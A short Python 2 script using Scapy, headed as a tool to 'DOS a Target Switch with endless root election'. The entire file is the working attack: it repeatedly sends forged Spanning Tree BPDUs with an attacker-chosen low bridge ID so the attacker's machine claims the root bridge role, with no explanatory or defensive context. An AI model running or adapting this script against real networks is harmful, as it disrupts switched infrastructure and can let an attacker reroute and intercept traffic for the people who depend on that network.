#!/usr/bin/python #Author: Storn # #DOS a Target Switch with endless root election # #argv[1] = Ethernet Ifacec #argv[2] = Bridge ID (Low => exemple: 0111) #argv[3] = Time to before loop # from scapy.all import * import sys import os import time # STP BPDU packet with low BID def low_id_bpdu_packet(intface, bid): #01:80:c2:00:00:00 => For-Switch ether = Ether(src = "00:ae:45:82:08:c3",dst = "01:80:c2:00:00:00") #Logical-Link Contro; 66 => Spanning Tree llc = LLC(dsap = 66, ssap = 66, ctrl = 3) #Spanning Tree Protocol stp = STP(rootid = int(bid), rootmac = "11:11:10:20:15:10", bridgeid = int(bid), bridgemac = "11:11:10:20:15:10", bpduflags = 01, portid = 32769, maxage = 14, hellotime = 2) bpdu = ether/llc/stp sendp(bpdu, iface = intface) #Main if __name__ == "__main__": os.system("clear") if len(sys.argv) < 4: print "\n[Iface] [BID] [Time (s)]\n" sys.exit() while 1: try: low_id_bpdu_packet(sys.argv[1], sys.argv[2]) except: print "\n[!] Failed! :'(\n" sys.exit() else: print "\n[+] Claiming Root Role\n" time.sleep(int(sys.argv[3]))
St0rn